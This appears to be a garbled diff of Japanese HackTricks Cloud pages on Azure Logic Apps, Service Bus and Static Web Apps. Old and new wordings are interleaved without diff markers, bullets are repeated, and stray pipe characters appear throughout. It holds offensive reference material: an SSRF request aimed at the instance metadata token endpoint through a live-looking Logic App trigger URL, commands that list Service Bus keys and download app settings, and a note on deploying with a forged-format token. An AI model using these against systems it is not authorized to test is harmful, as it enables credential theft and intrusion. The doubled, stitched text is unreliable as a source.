Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するためのビジュアルデザイナーを提供しており、Office 365、Dynamics CRM、Salesforceなどのさまざまなサービスに簡単に接続して対話できます。また、特定のニーズに合わせたカスタムコネクタを作成することもできます。
|
||||
|
||||
### 例
|
||||
|
||||
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセス**を自動化できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンスの操作を支援します。
|
||||
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して、**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガーし、動的なデータ処理を可能にすることが挙げられます。
|
||||
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセスを自動化**できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。
|
||||
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して、**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガーすることが挙げられ、動的なデータ処理を可能にします。
|
||||
|
||||
### LogicAPPの可視化
|
||||
|
||||
@@ -23,41 +23,267 @@ Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワ
|
||||
|
||||
### SSRF保護
|
||||
|
||||
たとえ**Logic AppがSSRFに対して脆弱であっても**、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
|
||||
**Logic AppがSSRFに対して脆弱である**ことがわかっても、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。
|
||||
|
||||
たとえば、次のようなものはトークンを返しません:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### ホスティングオプション
|
||||
|
||||
いくつかのホスティングオプションがあります:
|
||||
|
||||
* **消費型**
|
||||
- **マルチテナント**:共有コンピューティングリソースを提供し、パブリッククラウドで運営され、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。
|
||||
* **スタンダード**
|
||||
- **ワークフローサービスプラン**:ネットワーキングのためのVNET統合を持つ専用コンピューティングリソースで、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より高い制御を必要とする要求の厳しいワークロードに適しています。
|
||||
- **アプリサービス環境V3**:完全な隔離とスケーラビリティを持つ専用コンピューティングリソースです。また、ネットワーキングのためにVNETと統合され、環境内のアプリサービスインスタンスに基づく料金モデルを使用します。これは、高い隔離が必要なエンタープライズ規模のアプリケーションに最適です。
|
||||
- **ハイブリッド**:ローカル処理とマルチクラウドサポートのために設計されています。顧客管理のコンピューティングリソースをローカルネットワークアクセスと共に提供し、Kubernetes Event-Driven Autoscaling (KEDA)を利用します。
|
||||
|
||||
### 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
az logic workflow list --resource-group <ResourceGroupName>
|
||||
# Get info
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get Logic App config
|
||||
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
{{#endtab }}
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
# Get details of a specific Logic App workflow, including its connections and parameters
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
|
||||
|
||||
# List all runs of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get all actions within a specific run of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all versions of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details of a specific version of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all Logic Apps in the specified resource group
|
||||
az logicapp list --resource-group <ResourceGroupName>
|
||||
|
||||
# Show detailed information about a specific Logic App
|
||||
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# List all application settings for a specific Logic App
|
||||
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get Logic App config
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
# Get details of a specific Logic App workflow run action
|
||||
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
|
||||
|
||||
# Get the run history for a specific Logic App
|
||||
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
|
||||
### インテグレーションアカウント
|
||||
**インテグレーションアカウント**は、Azure Logic Appsの機能です。インテグレーションアカウントは、EDI、AS2、XMLスキーマ管理などの高度なB2B機能を有効にすることで、エンタープライズレベルの統合を促進します。インテグレーションアカウントは、Logic Appsで使用される以下のアーティファクトを格納するAzureのコンテナです:
|
||||
|
||||
* スキーマ:インテグレーションアカウント内のメッセージを検証および処理するためのXMLスキーマを管理します。
|
||||
* マップ:インテグレーションワークフロー内でデータ形式を変換するためのXSLTベースの変換を構成します。
|
||||
* アセンブリ:ロジックとデータ処理を効率化するためにインテグレーションアカウントのアセンブリを管理します。
|
||||
* 証明書:メッセージの暗号化と署名のための証明書を扱い、安全な通信を確保します。
|
||||
* パートナー:B2B取引のための取引先情報を管理し、シームレスな統合を可能にします。
|
||||
* 合意:取引先とのデータ交換のためのルールと設定を構成します(例:EDI、AS2)。
|
||||
* バッチ構成:メッセージを効率的にグループ化して処理するためのバッチ処理構成を管理します。
|
||||
* RosettaNet PIP:B2B通信を標準化するためのRosettaNetパートナーインターフェースプロセス(PIP)を構成します。
|
||||
|
||||
#### 列挙
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Integration account
|
||||
az logic integration-account list --resource-group <resource-group-name>
|
||||
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
|
||||
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
|
||||
|
||||
# Batch-configuration
|
||||
az logic integration-account batch-configuration list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name>
|
||||
|
||||
az logic integration-account batch-configuration show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name> \
|
||||
--batch-configuration-name <batch-configuration-name>
|
||||
|
||||
# Map
|
||||
az logic integration-account map list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account map show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--map-name <map-name>
|
||||
|
||||
# Partner
|
||||
az logic integration-account partner list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account partner show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <partner-name>
|
||||
|
||||
# Session
|
||||
az logic integration-account session list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account session show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <session-name>
|
||||
|
||||
# Assembly
|
||||
# Session
|
||||
az logic integration-account assembly list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account assembly show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--assembly-artifact-name <assembly-name>
|
||||
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# Retrieve details of an integration account
|
||||
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
|
||||
|
||||
# Retrieve the callback URL of an integration account
|
||||
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
|
||||
|
||||
# Retrieve details of a specific agreement in an integration account
|
||||
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
|
||||
|
||||
# Retrieve details of a specific assembly in an integration account
|
||||
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
|
||||
|
||||
# Retrieve details of a specific batch configuration in an integration account
|
||||
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
|
||||
|
||||
# Retrieve details of a specific certificate in an integration account
|
||||
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
|
||||
|
||||
# Retrieve details of a specific map in an integration account
|
||||
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
|
||||
|
||||
# Retrieve details of a specific partner in an integration account
|
||||
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
|
||||
|
||||
# Retrieve details of a specific schema in an integration account
|
||||
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## 権限昇格
|
||||
|
||||
ロジックアプリの権限昇格と同様です:
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ポストエクスプロイト
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Busは、アプリケーションの異なる部分や別々のアプリケーション間での信頼性のある**通信を可能にするために設計された**クラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に操作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながらデータや指示を交換できます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。
|
||||
Azure Service Busは、アプリケーションの異なる部分または別のアプリケーション間での信頼性のある**通信を可能にするために設計された**クラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に操作していなくても、メッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながら、データや指示を交換することができます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理や安全なアクセス管理など、複雑な調整が必要なシナリオに特に役立ちます。
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **キュー:** 受信者が準備ができるまでメッセージを保存することを目的としています。
|
||||
1. **キュー:** 受信者が準備できるまでメッセージを保存することを目的としています。
|
||||
- メッセージは順序付けられ、タイムスタンプが付けられ、耐久性のあるストレージに保存されます。
|
||||
- プルモード(オンデマンド取得)で配信されます。
|
||||
- ポイントツーポイント通信をサポートします。
|
||||
@@ -42,7 +42,7 @@ SASポリシーは、Azure Service Busエンティティネームスペース(
|
||||
- 送信: エンティティにメッセージを送信することを許可します。
|
||||
- リスン: エンティティからメッセージを受信することを許可します。
|
||||
- **プライマリおよびセカンダリキー**: アクセスを認証するための安全なトークンを生成するために使用される暗号化キーです。
|
||||
- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの簡単な使用のために提供されます。
|
||||
- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの使用が簡単です。
|
||||
- **SASポリシーARM ID**: プログラムによる識別のためのポリシーへのAzureリソースマネージャー(ARM)パスです。
|
||||
|
||||
### NameSpace
|
||||
@@ -50,6 +50,10 @@ SASポリシーは、Azure Service Busエンティティネームスペース(
|
||||
sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -77,6 +81,58 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.ServiceBus
|
||||
|
||||
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
|
||||
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
|
||||
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
|
||||
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
|
||||
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
|
||||
|
||||
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
|
||||
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves properties and details about a Service Bus namespace.
|
||||
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
|
||||
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private endpoint connections for a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private link resources associated with a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves details of a specified queue in a Service Bus namespace.
|
||||
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
|
||||
|
||||
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
|
||||
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
|
||||
|
||||
# Retrieves details of subscriptions for a specified Service Bus topic.
|
||||
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
|
||||
|
||||
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
### 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -4,20 +4,20 @@
|
||||
|
||||
## Static Web Apps 基本情報
|
||||
|
||||
Azure Static Web Appsは、**GitHubなどのリポジトリからの自動CI/CDを備えた静的Webアプリをホスティングするためのクラウドサービス**です。グローバルなコンテンツ配信、サーバーレスバックエンド、組み込みのHTTPSを提供し、安全でスケーラブルです。しかし、サービスが「静的」と呼ばれていても、完全に安全であるとは限りません。リスクには、誤って構成されたCORS、不十分な認証、コンテンツの改ざんが含まれ、適切に管理されない場合、アプリがXSSやデータ漏洩などの攻撃にさらされる可能性があります。
|
||||
Azure Static Web Appsは、**GitHubなどのリポジトリからの自動CI/CDを備えた静的Webアプリをホスティングするためのクラウドサービス**です。グローバルなコンテンツ配信、サーバーレスバックエンド、組み込みのHTTPSを提供し、安全でスケーラブルです。しかし、サービスが「静的」と呼ばれていても、完全に安全であるとは限りません。リスクには、誤って構成されたCORS、不十分な認証、コンテンツの改ざんが含まれ、適切に管理されないとXSSやデータ漏洩などの攻撃にさらされる可能性があります。
|
||||
|
||||
### デプロイ認証
|
||||
|
||||
> [!TIP]
|
||||
> Static Appが作成されると、**デプロイ認証ポリシー**として**デプロイメントトークン**と**GitHub Actionsワークフロー**の間で選択できます。
|
||||
> Static Appが作成されると、**デプロイ認証ポリシー**として**デプロイトークン**と**GitHub Actionsワークフロー**の間で選択できます。
|
||||
|
||||
- **デプロイメントトークン**: トークンが生成され、デプロイプロセスを認証するために使用されます。**このトークンを持つ人は、新しいバージョンのアプリをデプロイするのに十分です**。リポジトリにトークンを秘密として持つ**Github Actionが自動的にデプロイされ**、リポジトリが更新されるたびに新しいバージョンのアプリがデプロイされます。
|
||||
- **デプロイトークン**: トークンが生成され、デプロイプロセスを認証するために使用されます。**このトークンを持っている人は、新しいバージョンのアプリをデプロイするのに十分です**。リポジトリにトークンを秘密として持つ**Github Actionが自動的にデプロイされ**、リポジトリが更新されるたびにアプリの新しいバージョンをデプロイします。
|
||||
- **GitHub Actionsワークフロー**: この場合、非常に似たGithub Actionもリポジトリにデプロイされ、**トークンも秘密に保存されます**。ただし、このGithub Actionには違いがあり、**`actions/github-script@v6`**アクションを使用してリポジトリのIDTokenを取得し、それを使用してアプリをデプロイします。
|
||||
- 両方のケースでアクション**`Azure/static-web-apps-deploy@v1`**が`azure_static_web_apps_api_token`パラメータのトークンと共に使用されますが、2番目のケースでは、`github_id_token`パラメータのIDTokenで認証が行われるため、`12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345`のような有効な形式のランダムトークンがアプリをデプロイするのに十分です。
|
||||
|
||||
### Webアプリ基本認証
|
||||
|
||||
Webアプリにアクセスするための**パスワードを設定する**ことが可能です。Webコンソールでは、ステージング環境のみ、またはステージングと本番環境の両方を保護するように設定できます。
|
||||
Webアプリにアクセスするための**パスワードを設定する**ことが可能です。Webコンソールでは、ステージング環境のみ、またはステージングと本番の両方を保護するように設定できます。
|
||||
|
||||
執筆時点でパスワード保護されたWebアプリは次のようになります:
|
||||
|
||||
@@ -28,11 +28,11 @@ Webアプリにアクセスするための**パスワードを設定する**こ
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
しかし、これは**パスワードを平文で表示しません**、ただし、次のようなものが表示されます: `"password": "**********************"`。
|
||||
しかし、これは**パスワードを平文で表示しません**。代わりに、次のようなものが表示されます: `"password": "**********************"`。
|
||||
|
||||
### ルートとロール
|
||||
|
||||
ルートは、静的ウェブアプリ内で**受信HTTPリクエストがどのように処理されるか**を定義します。**`staticwebapp.config.json`**ファイルで構成されており、URLの書き換え、リダイレクト、アクセス制限、およびロールベースの認証を制御し、適切なリソースの処理とセキュリティを確保します。
|
||||
ルートは、静的ウェブアプリ内で**受信HTTPリクエストがどのように処理されるか**を定義します。**`staticwebapp.config.json`**ファイルで設定されており、URLの書き換え、リダイレクト、アクセス制限、ロールベースの認証を制御し、適切なリソースの処理とセキュリティを確保します。
|
||||
|
||||
いくつかの例:
|
||||
```json
|
||||
@@ -62,20 +62,24 @@ az rest --method GET \
|
||||
}
|
||||
}
|
||||
```
|
||||
パスを**ロールで保護する**ことが可能であることに注意してください。これにより、ユーザーはアプリに認証し、そのロールを付与されてパスにアクセスする必要があります。また、特定のユーザーに特定のロールを付与する**招待を作成する**ことも可能で、これはアプリ内での権限昇格に役立つかもしれません。
|
||||
ノート:**ロールでパスを保護する**ことが可能であり、その場合、ユーザーはアプリに認証し、そのロールを付与されてパスにアクセスする必要があります。また、特定のユーザーに特定のロールを付与する**招待を作成する**ことも可能で、これはアプリ内での権限昇格に役立つかもしれません。
|
||||
|
||||
> [!TIP]
|
||||
> `staticwebapp.config.json`ファイルへの**変更が受け入れられない**ようにアプリを構成することが可能であることに注意してください。この場合、Githubからファイルを変更するだけでは不十分で、**アプリ内の設定を変更する**必要があります。
|
||||
> アプリを構成して**`staticwebapp.config.json`**ファイルへの変更が受け入れられないようにすることが可能であることに注意してください。この場合、Githubからファイルを変更するだけでは不十分であり、**アプリの設定を変更する**必要があります。
|
||||
|
||||
ステージングURLは次の形式です: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` 例えば: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
ステージングURLは次の形式です:`https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` 例えば:`https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
### マネージドアイデンティティ
|
||||
|
||||
Azure Static Web Appsは**マネージドアイデンティティ**を使用するように構成できますが、[このFAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)で述べられているように、認証目的でAzure Key Vaultからシークレットを**抽出する**ためにのみサポートされています。他のAzureリソースにアクセスするためではありません。
|
||||
Azure Static Web Appsは**マネージドアイデンティティ**を使用するように構成できますが、[このFAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)で述べられているように、認証目的でAzure Key Vaultからシークレットを**抽出するため**のサポートのみが提供されています。他のAzureリソースにアクセスするためのサポートはありません。
|
||||
|
||||
詳細については、静的アプリでボールトシークレットを使用するAzureガイドをhttps://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secretsで見つけることができます。
|
||||
詳細については、Azureガイドで静的アプリでのボールトシークレットの使用方法を確認できます:https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets。
|
||||
|
||||
## 列挙
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
@@ -107,11 +111,64 @@ az rest --method POST \
|
||||
# Check connected backends
|
||||
az staticwebapp backends show --name <name> --resource-group <res-group>
|
||||
```
|
||||
## Webアプリを生成するための例
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
